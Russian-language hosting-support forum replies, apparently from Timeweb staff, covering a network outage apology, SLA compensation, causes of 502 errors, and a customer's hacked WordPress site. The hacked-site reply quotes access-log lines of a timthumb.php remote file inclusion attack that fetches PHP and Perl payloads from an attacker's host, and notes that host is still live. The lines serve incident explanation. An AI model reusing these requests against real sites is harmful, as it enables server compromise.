Мы оперативно разместили информацию об аварии в VK и FB, о SE не подумали. Возьмем на заметку. Спасибо.
Компенсация начисляется в соответствии со SLA. По этому вопросу обратитесь, пожалуйста, на manager@timeweb.ru
ps. И, да, мы ценим то доверие, которое оказывают нам наши пользователи все это время.
Ваш гнев спрведлив, но не до конца. Если бы мы не умели работать, мы не смогли проработать 8 лет и не стали бы лидерами российского сегмента хостинга.
Мы осознано выбрали сложный рынок и идем по его пути, самое главное на этом пути - не ходить по граблям. Других вариантов, сейчас, для себя мы не видим.
Добрый всем,
Друзья, прошлая ночь выдалась действительно "жаркой". Подобных аварий мы еще не испытывали за все 8 лет работы.
Вкратце - была сложная авария на опорной сети. Поменяли практически все оборудование на резервное, инженеры и руководство всю ночь работали.
Исследуем причины и продолжаем пристально следить за работой оборудования. Мы готовы исправить новые проблемы, если они будут.
Сожалеем о проблемах в связи с данной аварией.
За конкретными разъяснениями по данному вопросу, вам лучше обратиться в поддержку, здесь вы не найдете ответы на свои вопросы.
Причин может быть много, разных.
Проблема ошибки 502 (bad gateway) может возникать когда:
1) Принудительно завершается какой-либо скрипт, который чрезмерно наргужает сервер или ему (скрипту) не хватает временных лимитов php.
Если с нагрузкой все понятно, то со временем несколько сложнее. Например, ваш скрипт обращается к стороннему серверу за какими-либо данными, которые он (скрипт) не может получить некоторое время (для шаред-хостинга 60 секунд). Поэтому, здесь нужно использовать таймауты.
2) Недоступен веб-сервер (апач)
Любая перезагрузка веб-сервера, превышение количетва чайлдов и тд и тп. Все, что связано с особенностями работы шаред-хостинга.
Проблема "сайт не существут" возникает, когда ваш днс (локальный кеш днс) отдает ip сервера на котором сайта нет.
L-servis, проблема действительно существовала, вы-же не думаете, что мы отключаем сайты для "поржать"?
Наши сотрудники действительно поспешили (приношу извинения) и досконально не проанализировали ситуацию с взломом, в вашем случае это особенно не легко (из-за количества сайтов), но все-же.
было так:
|-perl(4911,x)
|-perl(23715,x)
вот отсюда:
x 85.10.206.254 - - [04/Nov/2011:20:41:02 +0400] "GET /wp-content/themes/sportpress/scripts/timthumb.php?src=http://flickr.com.bigtimeoutfitters.com/timthumb/injector/injector.php HTTP/1.0" 200 1002 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1"
x 85.10.206.254 - - [04/Nov/2011:20:41:03 +0400] "GET /wp-content/themes/sportpress/scripts/timthumb.php?src=http://flickr.com.bigtimeoutfitters.com/timthumb/perl/perl.php HTTP/1.0" 200 994 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1"
x 85.10.206.254 - - [04/Nov/2011:20:41:05 +0400] "GET /wp-content/themes/sportpress/scripts/cache/20bb7afadd2fc566fae951df8841d4d8.php HTTP/1.0" 200 260345 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1"
вот это http://flickr.com.bigtimeoutfitters.com/timthumb/perl/perl.php____ до сих пор живо.
проверяйте, пожалуйста, сайты.
Такое поведение характерно в случае, когда на сайт осуществляется ddos атака.
Это окно - своего рода защита. Вам должны были отписать по поводу проблем.
Могу конечно. Я и жду конкретного вопроса.
Я здесь. Если что.
